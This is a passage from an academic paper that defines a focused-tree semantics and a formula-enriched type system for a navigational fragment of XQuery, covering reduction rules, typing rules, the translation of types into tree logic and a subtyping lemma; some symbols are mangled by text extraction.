not been updated after XQuery 1.0, it still is a good starting point.

The formal semantics for this core fragment is defined using
an external store, with node items being pointers into that store.
What we propose to do is to replace these pointers with focused
trees, as described in the previous subsection, which removes the

e ::= expression
<σ>{e}</σ> : x XML element

| ε empty sequence
| e, e seq. concatenation
| for $v in e return e for loop
| let $v := e return e variable binding
| if non-empty(e) then e else e existence test
| $v/axis::n tree navigation
| $v item variable
| $v sequence variable

n ::= σ | ∗ label or wildcard
s ::= ε | f :: s value sequence

E ::=
[] | <σ>{E}</σ> : x | for $v in E return e
| if non-empty(E) then e else e | E, e | s, E

Figure 1. Navigational core of XQuery.

need for a store2. As the XQuery Core is already quite large, we
will consider a much smaller fragment comprising only constructs
impacted by this proposal and useful for the discussion, which we
call the navigational core. It is worth noting that several other ‘core
fragments’ of XQuery have already been defined and studied in
research papers. We will discuss how this one relates to them in the
related work section (Sec. 5).

The navigational XQuery fragment we consider is described by
the abstract syntax shown in Fig. 1, where axis ∈ {child, desc,
parent, anc, psibl, nsibl, self}. The values of the language
are sequences s; we write [f1, . . . , fn] for f1 :: . . . :: fn :: ε.

The XML element construction expression we include in our
core syntax represents a combination of XQuery’s element construc-
tor and validate expressions. In XQuery, indeed, the result of a
constructor expression of the form <σ>{e}</σ> is always consid-
ered untyped (both statically and dynamically) unless it is validated.
The validate expression may include an explicit type annotation
or not; if not, a type corresponding to the element name is looked
for in the environment. This expression then checks, at runtime,
whether the constructed element conforms to the expected type: if
yes, it returns the element with the required dynamic type; if not, a
dynamic type error is triggered.

We represent all this by the expression <σ>{e}</σ> : x, where
x refers to a type u defined in an external environment, as will be
defined in Section 3.1. Translation from XQuery into this core is as
follows:

• untyped element construction is represented by
<σ>{e}</σ> : AnyElt;
• a validate expression with explicit type annotation x is repre-

sented by <σ>{e}</σ> : x;
• for a validate expression without annotation, we assume a

mapping from Σ to type references x (obtained from e.g. a
DTD) is available, and represent this expression as:
<σ>{e}</σ> : x(σ).

We do not include boolean expressions in our fragment; how-
ever XQuery allows writing if-then-else expressions where the
condition evaluates to a sequence of element nodes. The meaning of
such an expression is an emptiness test on the sequence; we include
it, and write if non-empty explicitly for clarity.

2 Remark that in full XQuery, a focused tree is not enough to uniquely
identify a node, because the store may contain several identical trees, whose
nodes will have different identifiers. In order to be complete with this respect,
we would thus have to use as values not just focused trees, but rather pairs
of a focused tree and a tree identifier. However this is not relevant for the
fragment we study here, which does not include an identity test.
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R-TREE
t = σ[t1 :: t2 :: . . . :: tn :: ε] t ∈ JxK

<σ>{[(t1, c1), (t2, c2), . . . , (tn, cn)]}</σ> : x −→ [(t,Top)]

R-TREEERROR
t = σ[t1 :: t2 :: . . . :: tn :: ε] t /∈ JxK

<σ>{[(t1, c1), (t2, c2), . . . , (tn, cn)]}</σ> : x −→ ω

R-FOR

for $v in f1 :: s return e −→ e
[
f1/$v

]
, for $v in s return e

R-FOREMPTY
for $v in ε return e −→ ε

R-SINGLETON
f −→ [f ]

R-CONCAT
[f1, . . . , fn], [f ′1, . . . , f

′
n′ ] −→ [f1, . . . , fn, f

′
1, . . . f

′
n′ ]

R-LET
let $v := s return e −→ e [s/$v]

R-IFF
if non-empty(ε) then e1 else e2 −→ e2

R-IFT
if non-empty(f :: s) then e1 else e2 −→ e1

R-NOPARENT
(t,Top)/parent::n −→ ε

R-NOCHILD
(σ[ε], c)/child::n −→ ε

R-NONSIBL
(t, (tl , σ[c], ε))/nsibl::n −→ ε

R-NOPSIBL
(t, (ε, σ[c], tl))/psibl::n −→ ε

R-NOANC
(t,Top)/anc::n −→ ε

R-SELFSTAR
f/self::∗ −→ [f ]

R-SELFMATCH
(σ[tl ], c)/self::σ −→ [(σ[tl ], c)]

R-SELFDIFF
σ 6= σ′

(σ[tl ], c)/self::σ′ −→ ε

R-PARENT
f ′ = f 〈1〉

f/parent::n −→ f ′/self::n

R-PSPARENT
f ′ = f 〈2〉

f/parent::n −→ f ′/parent::n

R-CHILD
f ′ = f 〈1〉

f/child::n −→ f ′/self::n, f ′/nsibl::n

R-NSIBL
f ′ = f 〈2〉

f/nsibl::n −→ f ′/self::n, f ′/nsibl::n

R-PSIBL
f ′ = f 〈2〉

f/psibl::n −→ f ′/psibl::n, f ′/self::n

R-ANC
f ′ = f 〈1〉

f/anc::n −→ f ′/anc::n, f ′/self::n

R-PSANC
f ′ = f 〈2〉

f/anc::n −→ f ′/anc::n

R-DESC
f/desc::n −→ for $v in f/child:: ∗ return $v/self::n, $v/desc::n

R-CONTEXT
e1 −→ e2 e2 6= ω

E[e1] −→ E[e2]

R-ERROR
e1 −→ ω

E[e1] −→ ω

Figure 2. Reduction rules for the navigational XQuery fragment

We distinguish variables $v bound by for loops from variables
$v bound by let expressions. The former are bound to single tree
nodes (“items” in XQuery terminology) whereas the latter are bound
to possibly empty sequences of nodes. Path navigation expressions
can only start from an item variable3.

2.3 Reduction Semantics
Figure 2 gives reduction rules defining a small-step operational
semantics for the focused-tree-based navigational XQuery fragment
we consider. These rules rely on the evaluation contexts E defined
in Fig. 1 to allow reduction of a subexpression. In addition to
expressions from the syntax of Fig. 1, runtime expressions can
contain focused tree and sequence literals (only sequences are values:
focused tree literals reduce to sequences by R-SINGLETON) as well
as the dynamic type error ω.

Rules R-TREE and R-TREEERROR correspond, as described in
the previous section, to a combination of tree construction and
dynamic type check: the tree constructed in the premise is the
same in both rules, and whether it conforms to the type annotation
(t ∈ JxK) determines which rule applies; JxK will be defined
formally in Section 3.1.

Note that, because f 〈1〉 and f 〈2〉 are never both defined for the
same f , rules R-PARENT and R-PSPARENT are mutually exclusive,
and that R-NOPARENT can only apply in a case where both f 〈1〉
and f 〈2〉 are undefined. The same is true for R-ANC, R-PSANC
and R-NOANC, so that the set of rules is almost deterministic. The
only ambiguity is the order of concatenation in expressions of the
form s1, s2, s3, but in that case note that the result is independent
on that order.

3 The expression $v/axis::n exists in XQuery, but its semantics is defined as
for $v in $v return $v/axis::n plus a sort operation on the result.

3. Type System
Now that we have a simple formal semantics for a core fragment of
XQuery, we want to design a type system able to ensure statically
that a given program will never go wrong at runtime. With the
reduction rules we have, a syntactically correct program cannot get
stuck, and the only kind of expression which can yield a dynamic
type error is tree construction <σ>{e}</σ> : x. However, since,
in such an expression, e can be any expression and x refers to
an external type specification, the problem of type safety is here
equivalent to the fully general problem of statically checking that
an arbitrary expression will always reduce to a value conforming
to an arbitrary specification. This means that if we extend the core
to include e.g. type-annotated function definitions we will be able
to typecheck them with the same system. We now discuss different
type languages and how to construct a type system which is sound
and as precise as possible, i.e. accepts only correct programs but as
many of them as possible.

3.1 Regular Tree Types
As is customary in the literature ([15, 16, 19, 38] for instance), we
use a slight variant of XDuce’s type language [23, 24], described in
Fig. 3, to represent (core) XQuery types.

Unit types u, or ‘prime types’ in the XQuery terminology,
correspond to items. Types τ correspond to sequences. In the general
case, u would include both element types and base types; since we
removed base values from the language fragment we consider, it
only includes element types.

A type environment E is a mapping from type references x to
types τ . These references may be mutually recursive, but recursion
must be guarded by an element constructor. In other words, if we
repeatedly replace all references appearing at top level (i.e. not inside
a unit type) with their bindings, this process must terminate after
a few iterations and yield a regular expression of unit types. As an
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u ::= element n {τ} unit type
n ::= σ | ∗ name test
τ ::= u | () | τ, τ | (τ | τ) | τ∗ | x sequence type

Figure 3. XQuery types

additional restriction, these regular expressions must be composed
of mutually exclusive unit types and be 1-unambiguous [7]. This
constraint is standard: it comes from XML Schema. In the following,
we assume this restriction is respected by all types in E.

The semantics of types is defined in terms of sets of forests,
i.e. of sequences of trees (called elements in the XML context). A
value s, which is a sequence of items (nodes, focused trees in our
semantics), matches a type if the forest constituted of the subtrees
rooted at all nodes of the sequence belongs to the semantics of the
type. This is the same forest that is constructed in the tree creation
rule R-TREE as the children of the new node.

To give a formal definition, we first define the denotation of a
type depending on a function dmapping references to sets of forests.
We then define the variable denotation dE corresponding to a type
environment E. The denotation of a type containing references is
only defined if an environment providing bindings for all these
references is given.

JxKd = d(x)

Jelement σ {τ}Kd = {[σ[tl ]] | tl ∈ JτKd}
Jelement ∗ {τ}Kd = {[σ[tl ]] | σ ∈ Σ and tl ∈ JτKd}

J()Kd = ε

Jτ, τ ′Kd = {[t1, . . . , tn, t′1, . . . , t′m] |
[t1 . . . tn] ∈ JτKd and [t′1 . . . t

′
m] ∈ Jτ ′Kd}

Jτ | τ ′Kd = JτKd ∪ Jτ ′Kd
Jτ0Kd = ε

Jτn+1Kd = Jτ, τnKd

Jτ∗Kd =
⋃
n∈N

JτnKd

Let E = (xi = τi)i∈I . Given two mappings d1 and d2

from the xi to sets of forests, we say that d1 is smaller than
d2 if: ∀i ∈ I, d1(xi) ⊆ d2(xi). The variable denotation dE
corresponding to the type environment E is defined as the smallest
mapping such that: ∀i ∈ I, dE(xi) = JτiKdE .

In the following, we always assume the environment E is well-
formed and contains bindings for all references appearing in the
types, and we write JτK as a shorthand for JτKdE . We often assume,
as well, that references x are implicitly replaced with their bindings
at toplevel, so that a type τ is really a regular expression of unit types.
We also consider that E always contains the type of all elements,
AnyElt, defined as AnyElt = element ∗ {AnyElt∗}.

3.2 Types for Focused Trees
All the definitions we gave about regular tree types up to now are
standard. The standard notion of a value (sequence of tree nodes)
matching a type can be formally defined as follows when nodes are
represented as focused trees:

DEFINITION 2. The focused-tree interpretation JτK↑ of a type τ is
the set {[(t1, c1) . . . (tn, cn)] | [t1 . . . tn] ∈ JτK}. A value s is said
to match type τ if s ∈ JτK↑.

As we can see, regular tree types naturally denote sequences of
trees, and their interpretation is lifted to sequences of focused trees
by simply ignoring the context part. The static type system defined

ϕ,ψ ::= formula
> true

| σ | ¬σ atomic prop. (negated)
| X variable
| ϕ ∨ ψ disjunction
| ϕ ∧ ψ conjunction
| 〈a〉ϕ | ¬ 〈a〉> existential (negated)
| µ(Xi = ϕi)i∈I in ψ (least) polyadic fixpoint

Figure 4. Logic formulas

in the XQuery standard, and its various improvements proposed in
the literature, rely only on this type language, and thus associate
to each expression such a regular tree type and nothing else. This
means that they do not have any information about the context of
the nodes in the sequence the expression will reduce to.

So in such a system, if we consider, for example, the expression
for $v in e return $v/nsibl::∗, its type has to be deduced from
the regular type τ of e. What we know is that when e reduces to a
value [f1 . . . fn], this value will match τ . Looking at the reduction
rules, we can see that the final result of the expression depends
only of the fi 〈2〉; and if fi = (ti, ci), fi 〈2〉 depends mainly of ci,
whereas τ only contains information about ti. It is thus impossible
to say anything interesting about the result without having more
information on e than its regular tree type. A consequence is that
type systems for XQuery based only on this type language give to
this expression the most general type (AnyElt∗), and thus always fail
to typecheck it unless no requirement at all was made on the result.

In order to solve this problem, we need to enrich the language of
types to also describe the context part of focused trees. We propose
to do this using logic formulas.

3.2.1 A Tree Logic
In order to describe sets of focused trees rather than just sets of trees,
we use a variant of the logic language defined in [22]. Its syntax is
given in Fig. 4, where a ∈ {1, 2, 1, 2} are programs, corresponding
to the four directions in which trees can be navigated.

Our main reasons for choosing this formalism are: it is expressive
enough to support all XQuery types, it is succinct (types are
represented as formulas of linear size compared to their regular
expression syntax), and the satisfiability problem for a logical
formula of size n can be efficiently decided with an optimal 2O(n)

worst-case time complexity bound [22].
Formulas include the truth predicate, atomic propositions (de-

noting the label of the node in focus), disjunction and conjunction
of formulas, formulas under an existential modality (denoting the
existence of a node, in the direction denoted by the program, sat-
isfying the sub-formula), and a fixpoint operator. We use µX.ϕ
as an abbreviation for µ(X = ϕ) in ϕ. For example, the formula
µX.b ∨ 〈2〉X means that either the current node or some previous
sibling is labeled b.

The interpretation of a logical formula is the set of focused trees
such that the formula is satisfied at the current node. We give the
formal definition in Fig. 5, where F is the set of all focused trees
and nm(f) is the label at the current node of f .

In the following, we consider only closed formulas and write
〈〈ϕ〉〉 for 〈〈ϕ〉〉∅.

3.2.2 Adding Formulas to Regular Tree Types
We now have a type language which allows us to describe sets of
focused trees. Since the values of the language are sequences of
focused trees, we still want regular expressions to represent them;
we simply enrich the regular expressions of unit types defined in
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〈〈>〉〉V
def
= F 〈〈〈a〉ϕ〉〉V

def
= {f 〈a〉 | f ∈ 〈〈ϕ〉〉V }

〈〈X〉〉V
def
= V (X) 〈〈¬ 〈a〉>〉〉V

def
= {f | f 〈a〉 undefined}

〈〈σ〉〉V
def
= {f | nm(f) = σ} 〈〈ϕ ∨ ψ〉〉V

def
= 〈〈ϕ〉〉V ∪ 〈〈ψ〉〉V

〈〈¬σ〉〉V
def
= {f | nm(f) 6= σ} 〈〈ϕ ∧ ψ〉〉V

def
= 〈〈ϕ〉〉V ∩ 〈〈ψ〉〉V

〈〈µ(Xi = ϕi)i∈I in ψ〉〉V
def
=

let S = {(Ti) ∈ P(F)I | ∀j ∈ I, 〈〈ϕj〉〉V [Ti/Xi]
⊆ Tj} in

let (Uj) =
(⋂

(Ti)∈S Tj
)
j∈I in 〈〈ψ〉〉V [Ui/Xi]

where V [Ti/Xi](X)
def
= V (X) if X 6∈ {Xi}

and Ti if X = Xi.

Figure 5. Interpretation of formulas

ρ ::= (ϕ, u) | () | ρ, ρ | (ρ | ρ) | ρ∗

Figure 6. Formula-enriched sequence types

Sec. 3.1 by associating to each unit type a formula. The enriched
types are thus regular expressions of pairs of a unit type and a
formula, defined by Fig. 6.

Note that unit types are not enriched in depth, i.e. they are still of
the form element n {τ} where τ does not contain formulas. This
is because τ is here actually used to describe a list of trees and not
of focused trees: focused trees are of the form (σ[tl ], c) (Sec. 2.1.2).
In a pair (element n {τ}, ϕ), n describes σ, τ describes tl , and
c is described only by ϕ4. The list tl is a list of subtrees which
are all siblings in the same tree structure; it is very different from
a sequence value s where each node in the sequence has its own
context independently of the others, although the standard type
system does not distinguish the two.

DEFINITION 3. The interpretation of a pair (ϕ, u) is defined as the
set of focused trees which match both components, i.e. :

J(ϕ, u)K = {(t, c) | t ∈ JuK and (t, c) ∈ 〈〈ϕ〉〉}
From this, the interpretation of regular expressions of pairs in terms
of sets of sequences of focused trees is then defined in the obvious
manner.

3.3 Typing Rules
We present in Figures 7 and 8 a type system for the navigational
core of XQuery which makes use of the additional information in
our enriched types.

The rules use type environments E, which contain the possibly
mutually recursive definitions of named types (see Sec. 3.1), and
typing environments Γ which map sequence variables to sequence
types and iteration variables to single pairs of a formula and a unit
type (not types in general). Indeed, in the for loop, the variable is
bound successively to all items in the input sequence, thus its value
is an item, not a sequence.

Rules T-ITEMVAR, T-SEQVAR, T-EMPTY, T-LET and T-SEQ
are straightforward. Rule T-FOR uses an auxiliary judgement, taken
from [19]. We write E; Γ ` for $v : ρ return e : ρ′ if, in
environment Γ, when the bound variable of an iteration $v has
type ρ then the body e of the iteration has type ρ′. This typing of
for expressions is more precise than the one found in the standard
type-system [17] (as explained in Section 5).

4 which can additionally contain information about both σ and tl as well

Rule T-TREE involves a subtyping check: recall that the tree
constructor includes a validate operation, and we want this
rule to detect whether this operation will succeed at runtime or
not. Note that in this subtyping check, the right-hand type is not
formula-enriched. Indeed, it comes from the type specification of the
element being constructed, and as we can see in Rules R-TREE/R-
TREEERROR (Fig. 2), the context of this element is always Top and
the original context of the component nodes is erased. The check
we have to make is thus between a focused-tree sequence type and a
tree sequence type, ignoring the contexts in the left-hand type. We
detail this in the next section.

The if-then-else expression can be typed with more or less
precision depending on what appears in the condition. To get the best
precision, the four rules presented in Fig. 7 must be tried in the order
they are listed. T-IFANY is the most general one and simply gives
to the expression the disjunction of the types of the then and else
clauses; this is the usual rule for conditional expressions, and the one
in the standard type system. T-IFEMPTY and T-IFNONEMPTY are
straightforward improvements in the case of the emptiness check,
which do not need enriched types; the auxiliary predicate nullable()
used in T-IFNONEMPTY indicates whether the empty sequence
belongs to the denotation of the regular expression (which is a
simple linear syntactic check).

The improvements in precision that formulas allow are in rules
T-IFAXIS and T-AXIS, where navigation expressions appear. They
make use of the auxiliary functions defined on Fig. 8. k translates
a node test n into a formula depending whether it is a wildcard
or specific label. The next two functions, navigate-axis(χ) and
has-axis(χ), are functions from formulas to formulas and in some
sense dual from each other. The first one constructs a formula which
is true at all nodes reached by navigating axis from a node where χ is
true; in a nutshell, this formula says that if we perform the navigation
in the reverse direction then we must reach a node satisfying χ. The
second one constructs a formula which is true if navigating axis
from the current node reaches at least one node where χ is true. T-
IFAXIS only uses has-axis(χ); it is an improvement over T-IFANY,
possible in the case where the condition is a navigation expression.
The then and else subexpressions can be checked with a refined
environment because knowing whether the navigation expression
yields an empty result or not gives additional information on $v.

The function go-axis() is similar to navigate-axis() in pur-
pose but works on unit types instead of formulas; this function
corresponds to the standard XQuery type system. It uses operations
children and dos (‘descendant-or-self’), which are discussed e.g.
in [15] together with filter. Their definition is recalled in Fig. 9. The
important point to notice is that when axis is not self, child or
desc, the result of this function is extremely imprecise and basically
useless, due to the fact that the original type contains no information
on the context – in this case, having the formulas is crucial.

The other functions are used to re-combine formulas and unit
types after performing navigation: indeed, go-axis(u) yields a regu-
lar expression whereas navigate-axis(χ) yields a single formula,
which then must be distributed to all unit types in the regular ex-
pression, using distrib. This is done by the follow-axis function,
which computes the type resulting from a navigation expression,
and is used in T-AXIS. This function adds a further refinement: it is
sometimes possible to detect by a satisfiability check (last premise)
that the navigation expression cannot yield the empty sequence.
In this case (second follow-axis rule), the empty sequence is
removed from the type obtained (which is a simple operation on
regular expressions).

3.4 Comparing Classical and Formula-Based Types
As we saw, in order to deal with the context-erasing tree construction
operation, we need to be able to decide when an enriched type ρ
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T-ITEMVAR
E; Γ, $v : (ϕ, u) ` $v : (ϕ, u)

T-SEQVAR

E; Γ, $v : ρ ` $v : ρ
T-EMPTY

E; Γ ` ε : ()

T-LET
E; Γ ` e1 : ρ1 E; Γ, $v : ρ1 ` e2 : ρ2

E; Γ ` let $v := e1 return e2 : ρ2

T-TREE
(x = element n {τ}) ∈ E n = ∗ ∨ n = σ E; Γ ` e : ρ ρ <: τ

E; Γ ` (<σ>{e}</σ> : x) : (form(x), element n {τ})

T-SEQ

E; Γ ` e1 : ρ1 E; Γ ` e2 : ρ2

E; Γ ` e1, e2 : ρ1, ρ2

T-IFEMPTY
E; Γ ` e : () E; Γ ` e2 : ρ2

E; Γ ` if non-empty(e) then e1 else e2 : ρ2

T-IFNONEMPTY
E; Γ ` e : ρ ¬nullable(ρ) E; Γ ` e1 : ρ1

E; Γ ` if non-empty(e) then e1 else e2 : ρ1

T-IFAXIS
E; Γ, $v : (ϕ, u) ` $v/axis::n : AnyElt∗

E; Γ, $v : (ϕ ∧ has-axis(k(n)), u) ` e1 : ρ1 E; Γ, $v : (ϕ ∧ ¬has-axis(k(n)), u) ` e2 : ρ2

E; Γ ` if non-empty($v/axis::n) then e1 else e2 : ρ1 | ρ2

T-IFANY
E; Γ ` e : AnyElt∗ E; Γ ` e1 : ρ1 E; Γ ` e2 : ρ2

E; Γ ` if non-empty(e) then e1 else e2 : ρ1 | ρ2

T-FOR
E; Γ ` e1 : ρ1 E; Γ ` for $v : ρ1 return e2 : ρ2

E; Γ ` for $v in e1 return e2 : ρ2

T-AXIS
E; Γ, $v : (ϕ, u) ` $v/axis::n : follow-axis(axis, (ϕ, u), n)

Auxiliary judgement for for loops [19]:

E; Γ, $v : (ϕ, u) ` e : ρ′

E; Γ ` for $v : (ϕ, u) return e : ρ′
E; Γ ` for $v : () return e : ()

E; Γ ` for $v : ρ return e : ρ′

E; Γ ` for $v : ρ ∗ return e : ρ′∗

E; Γ ` for $v : ρ1 return e : ρ′1 E; Γ ` for $v : ρ2 return e : ρ′2

E; Γ ` for $v : ρ1, ρ2 return e : ρ′1, ρ
′
2

E; Γ ` for $v : ρ1 return e : ρ′1 E; Γ ` for $v : ρ2 return e : ρ′2

E; Γ ` for $v : ρ1 | ρ2 return e : ρ′1 | ρ′2

Figure 7. Typing Rules for the Navigational XQuery Fragment.

k(∗) = > k(σ) = σ

navigate-self(χ) = χ has-self(χ) = χ

navigate-child(χ) = µZ. 〈1〉χ ∨ 〈2〉Z has-child(χ) = navigate-parent(χ)

navigate-nsibl(χ) = µZ. 〈2〉χ ∨ 〈2〉Z has-nsibl(χ) = navigate-psibl(χ)

navigate-psibl(χ) = µZ. 〈2〉χ ∨ 〈2〉Z has-psibl(χ) = navigate-nsibl(χ)

navigate-parent(χ) = 〈1〉µZ.χ ∨ 〈2〉Z has-parent(χ) = navigate-child(χ)

navigate-desc(χ) = µZ. 〈1〉 (χ ∨ Z) ∨ 〈2〉Z has-desc(χ) = navigate-anc(χ)

navigate-anc(χ) = 〈1〉µZ.χ ∨ 〈1〉Z ∨ 〈2〉Z has-anc(χ) = navigate-desc(χ)

go-self(u) = u distrib(χ, ()) = ()

go-child(u) = children(u) distrib(χ, u) = (χ, u)

go-desc(u) = dos(children(u)) distrib(χ, τ1, τ2) = (distrib(χ, τ1), distrib(χ, τ2))

go-parent(u) = () | AnyElt distrib(χ, τ1 | τ2) = (distrib(χ, τ1) | distrib(χ, τ2))

go-axis(u) = AnyElt ∗ for axis ∈ {anc, psibl, nsibl} distrib(χ, τ∗) = distrib(χ, τ)∗

ψ = navigate-axis(ϕ ∧ form(u)) ∧ k(n) τ = filter(n, go-axis(u)) ϕ ∧ ¬has-axis(k(n)) is satisfiable
follow-axis(axis, (ϕ, u), n) = distrib(ψ, τ)

ψ = navigate-axis(ϕ ∧ form(u)) ∧ k(n) τ = filter(n, go-axis(u)) ϕ ∧ ¬has-axis(k(n)) is unsatisfiable
follow-axis(axis, (ϕ, u), n) = (distrib(ψ, τ)) \ {()}

Figure 8. Auxiliary functions used to typecheck axes
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filter((), n) = ()

filter(element ∗ {τ}, n) = element ∗ {τ}
filter(element n {τ}, ∗) = element n {τ}

filter(element σ {τ}, σ) = element σ {τ}

filter(element σ {τ}, σ′) = () if σ 6= σ′

filter(τ1 | τ2, n) = filter(τ1, n) | filter(τ2, n)

filter((τ1, τ2), n) = filter(τ1, n), filter(τ2, n)

filter(τ∗, n) = filter(τ, n)∗

children(element n {τ}) = τ

children(u1 | u2) = children(u1) | children(u2)

children(τ1, τ2) = children(τ1), children(τ2)

children(τ∗) = children(τ)∗
The descendant-or-self function dos first computes the set of all
unit types which may appear as descendants of the original type;
this (finite) set is then converted into a regular type by putting all
these unit types in a big disjunction, to which a Kleene star is added.
Formally :

setdos(element n {τ}) = {element n {τ}} ∪ setdos(τ)

setdos(()) = ∅
setdos(τ1 | τ2) = setdos(τ1) ∪ setdos(τ2)

setdos(τ1, τ2) = setdos(τ1) ∪ setdos(τ2)

setdos(τ∗) = setdos(τ)

dos(τ) = (u1 | · · · | un) ∗ where {u1, . . . , un} = setdos(τ)

As remarked by Colazzo and Sartiani [15], for non-recursive types
a more precise definition of dos can be given:

dos(()) = ()

dos(element n {τ}) = element n {τ}, dos(τ)

dos(τ1 | τ2) = dos(τ1) | dos(τ2)

dos(τ1, τ2) = dos(τ1), dos(τ2)

dos(τ∗) = dos(τ)∗
This is what we implemented in our prototype: when dos needs to
be called, the definition used is decided depending whether the type
is recursive.

Figure 9. Auxiliary functions of the XQuery standard type system

is a subtype of a classical type τ . We define the subtyping relation
semantically as ρ <: τ if JρK ⊆ JτK↑. In order to decide this
relation, we first need to compare unit types.

For this, we rely on the function form(u), which translates a
classical unit type into a downward-only formula which is true at
any tree node matching this unit type, regardless of its context. This
function is formally defined on Fig. 10.

The definition uses an auxiliary operation LτMVϕ which translates
a regular expression τ of unit types into a single formula. This
operation additionally updates a pair V of mappings used for
downward recursion. The formula represents the set of focused
trees such that there is a sequence of siblings starting at the current
node which matches τ and ends with a node satisfying ϕ. This
parameter ϕ allows us to write a recursive definition in the case of
concatenation: when translating τ1, τ2, the regular expression τ2 is
translated first and the result is used to build a formula that the last

node in the sequence matching τ1 will have to satisfy. The predicate
nullable(τ) is used for checking whether ε ∈ JτK.

The treatment of recursion in this translation needs specific
care. Indeed, in classical types the same type reference may occur
in different sequences, but because the translation of types into
formulas integrates the tail of the sequence, this reference will not
correspond to the same formula each time. It is therefore not possible
to simply translate type references into fixpoint variables. However,
just expanding references every time they are encountered would
not terminate: we still need to introduce recursion in the translation.
Since recursion in the original type must be guarded by element
constructors, what we do is to translate unit types with fixpoint
variables: the translation operation updates a pair V = (U, V ) where
U is a mapping from unit types to variables and V a mapping from
variables to formulas. Whenever a unit type u = element n {τ}
which is not already in U is encountered, a fresh variable X is
created and associated with u in U . The content model type τ is
then translated using this updated U and the result of the translation
is associated to X in V . At the end of the whole translation, a
fixpoint formula is generated from all the bindings in V and the
result formula.

The environment E and the substitution of references x with
their bindings are left implicit in the definition. The number of such
substitutions which needs to be done during the translation is finite
since:

• the guardedness constraint on recursion in E implies that any
sequence type reduces after a finite number of such substitutions
to a type without references at toplevel;
• the translation never looks into the same unit type twice, so

references in its content need only be expanded once.

LEMMA 1 (Translation correctness). Let u be a unit type. Then
Jform(u)K = JuK↑.

Proof. Immediately follows from the correctness of the translation
from unranked regular expression types into binary form (proved in
Appendix A of [24]), and a straightforward translation of the latter
into logical formulas, as first introduced in [21]. �

This translation allows us to compare a formula ϕ and a unit type
u by testing the satisfiability of the formula ϕ ∧ ¬form(u); indeed,
〈〈ϕ ∧ ¬form(u)〉〉 = ∅ if and only if any focused tree satisfying ϕ
matches u. Furthermore, it allows us to convert a regular expression
ρ of pairs (ϕ, u) into a regular expression R of only formulas
(replacing (ϕ, u) with ϕ ∧ form(u)). Our problem is then just to
decide inclusion between a regular expression of formulas and a
regular expression of unit types. For this, we need to write them as
regular expressions on a common alphabet, which will allow us to
use a standard inclusion check.

Because we are interested in an inclusion check where the
formula-based type is on the left, we take as alphabet the set of
unit types appearing in the right-hand type plus a single symbol
representing everything else.

DEFINITION 4. Let ω be a constant which is not a unit type.
Let τ be a regular expression of unit types. Let U(τ) be the set of

unit types appearing at toplevel in τ . We assume that all unit types in
U(τ) are mutually exclusive5: ∀(u1, u2) ∈ U(τ)2, Ju1K∩Ju2K = ∅.
We define the alphabet of τ as follows: Σ(τ) = U(τ) ∪ {ω}.

For a given τ , we extend the function form() to ω as follows:
form(ω) =

∧
u∈U(τ) ¬form(u). This gives us a function from

Σ(τ) to formulas such that the sets 〈〈form(α)〉〉 form a partition of
F when α ranges over Σ(τ).

5 as required of types declared by the user: see Sec. 3.1.
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LuM(∅,∅)
> = (ψ, (U, V ))

form(u) = µ(X = V (X))X∈dom(V ) in ψ

Lτ1MVϕ = (ψ1,V1) Lτ2MV1
ϕ = (ψ2,V2)

Lτ1 | τ2MVϕ = (ψ1 ∨ ψ2,V2)

X is fresh LτMVϕ∨〈2〉X = (ψ,V ′)

Lτ∗MVϕ = (µX.ψ,V ′)

L()MVϕ = (⊥,V)

Lτ2MVϕ = (ψ,V ′) ϕ′ =

{
ϕ ∨ 〈2〉ψ if nullable(τ2)

〈2〉ψ otherwise
Lτ1MV

′
ϕ′ = (ψ′,V ′′) ψ′′ =

{
ψ ∨ ψ′ if nullable(τ1)

ψ′ otherwise

Lτ1, τ2MVϕ = (ψ′′,V ′′)

u /∈ dom(U) X is fresh u = element n {τ}

LτM(U+{u7→X},V )
¬〈2〉> = (ψ, (U ′, V ′)) δ(τ, ψ) =

{
¬ 〈1〉> ∨ 〈1〉ψ if nullable(τ)

〈1〉ψ otherwise

LuM(U,V )
ϕ = (X ∧ ϕ, (U ′, V ′ + {X 7→ k(n) ∧ δ(τ, ψ)}))

U(u) = X

LuM(U,V )
ϕ = (X ∧ ϕ, (U, V ))

Figure 10. Translation of a unit type into a formula

Given a regular expression r on the alphabet Σ(τ), we define
its interpretation in terms of set of values as JrKτ = JRK, where R
is obtained by replacing all α in r by form(α). Lemma 1 means
that if r does not contain ω, this interpretation coincides with its
interpretation as a type, i.e. we have JrK↑ = JrKτ .

In order to decide R <: τ , we translate R into a regular
expression on Σ(τ). There is no reason why the denotation of a
formula in R should be included in a single unit type from Σ(τ);
rather, it may have a nonempty intersection with several of them.
Thus a formula will in general be translated by a choice expression.
We use the following notation: if r1 . . . rn are regular expressions,
we write

⋃
i∈{1...n}

ri for the regular expression (r1 | r2 | · · · | rn).

DEFINITION 5. Let τ be a regular expression of unit types. For any
formula ϕ, we define:
Στ (ϕ) = {α ∈ Σ(τ) | 〈〈ϕ ∧ form(α)〉〉 6= ∅}.

The regular expression on Σ(τ) corresponding to a formula
ϕ is defined by regτ (ϕ) =

⋃
α∈Στ (ϕ) α. This transformation is

extended to regular expressions of formulas R in the obvious way.

The expression regτ (R) is an over-approximation of R, however it
is precise enough that we can replace R by regτ (R) for the specific
purpose of comparing it to τ :

LEMMA 2. Let R and τ be a focused-tree type and a classical type
respectively. Then R <: τ if and only if Jregτ (R)Kτ ⊆ JτKτ .

Proof. For the right-to-left implication, we first notice that for
any ϕ we have 〈〈ϕ〉〉 ⊆

⋃
α∈Στ (ϕ)〈〈form(α)〉〉. Indeed, we have⋃

α∈Σ(τ)〈〈form(α)〉〉 = F and Στ (ϕ) is obtained from Σ(τ) by
removing all α such that 〈〈ϕ〉〉 ∩ 〈〈form(α)〉〉 is empty: 〈〈ϕ〉〉 must be
included in the union of the remaining ones. By a straightforward
induction, this yields JRK ⊆ Jregτ (R)Kτ , which allows us to
conclude: Jregτ (R)Kτ ⊆ JτKτ implies JRK ⊆ JτKτ .

For the left-to-right implication, we suppose R <: τ , i.e.
JRK ⊆ JτK↑. As remarked above, this is equivalent to JRK ⊆ JτKτ
because τ does not contain ω. What we need to prove is that
any word on Σ(τ) which matches regτ (R) also matches τ (then
Jregτ (R)Kτ ⊆ JτKτ is immediate by definition of J·Kτ ). So let
α1 . . . αn be a word on Σ(τ) which matches regτ (R). From the
way regτ (R) is constructed, we can deduce that there exists a word
ϕ1 . . . ϕn of formulas which matches the regular expression R and
is such that αi ∈ Στ (ϕi) for all i. For all i, since αi ∈ Στ (ϕi),
there exists a focused tree fi ∈ 〈〈ϕi ∧ form(αi)〉〉, by definition of
